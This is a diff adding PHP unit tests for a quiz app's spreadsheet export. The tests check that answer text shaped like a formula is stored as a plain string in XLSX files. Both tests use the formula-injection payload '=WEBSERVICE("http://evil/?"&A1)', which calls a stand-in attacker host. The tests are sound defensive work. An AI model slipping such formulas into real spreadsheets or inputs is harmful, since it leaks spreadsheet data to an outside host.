$this->assertSame('Man', $claudiaRow[$questionColumnIndex]); } + public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void + { + $season = $this->getSeasonByCode('krtek'); + $quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]); + $this->assertInstanceOf(Quiz::class, $quiz); + $candidate = $this->getCandidateBySeasonAndName($season, 'Claudia'); + + /** @var Question $firstQuestion */ + $firstQuestion = $quiz->questions->first(); + /** @var Answer $chosenAnswer */ + $chosenAnswer = $firstQuestion->answers->first(); + $chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)'; + + $this->quizCandidateRepository->createIfNotExist($quiz, $candidate); + $this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer)); + $this->entityManager->flush(); + + $zip = $this->openZip($this->getUserByEmail('user2@example.org')); + $quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx'); + $this->assertIsString($quizContent); + $zip->close(); + + $sheet = $this->loadSheet($quizContent, 'Raw answers'); + $rows = $sheet->toArray(); + $header = $rows[0]; + $questionColumnIndex = array_search($firstQuestion->question, $header, true); + $this->assertIsInt($questionColumnIndex); + $column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1); + + $candidateNames = array_column(\array_slice($rows, 1), 0); + $rowNumber = 2 + array_search('Claudia', $candidateNames, true); + + $cell = $sheet->getCell($column.$rowNumber); + $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); + $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue()); + } + public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void { $season = $this->getSeasonByCode('krtek'); diff --git a/tests/Service/QuizSpreadsheetServiceTest.php b/tests/Service/QuizSpreadsheetServiceTest.php index 0503f7f..6293ab4 100644 --- a/tests/Service/QuizSpreadsheetServiceTest.php +++ b/tests/Service/QuizSpreadsheetServiceTest.php @@ -4,6 +4,7 @@ declare(strict_types=1); namespace Tvdt\Tests\Service; +use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer; @@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase $this->assertCount(3, $second->answers); } + public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void + { + $quiz = new Quiz(); + $question = new Question(); + $question->question = 'Who missed the assignment?'; + $question->ordering = 1; + $question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true)); + $question->addAnswer(new Answer('Bob', isRightAnswer: false)); + + $quiz->addQuestion($question); + + $path = $this->captureXlsx($this->subject->quizToXlsx($quiz)); + + $sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet(); + $cell = $sheet->getCell('B2'); + + $this->assertSame(DataType::TYPE_STRING, $cell->getDataType()); + $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue()); + } + public function testXlsxToQuizThrowsOnInvalidMimeType(): void { $path = $this->createTempPath('.txt');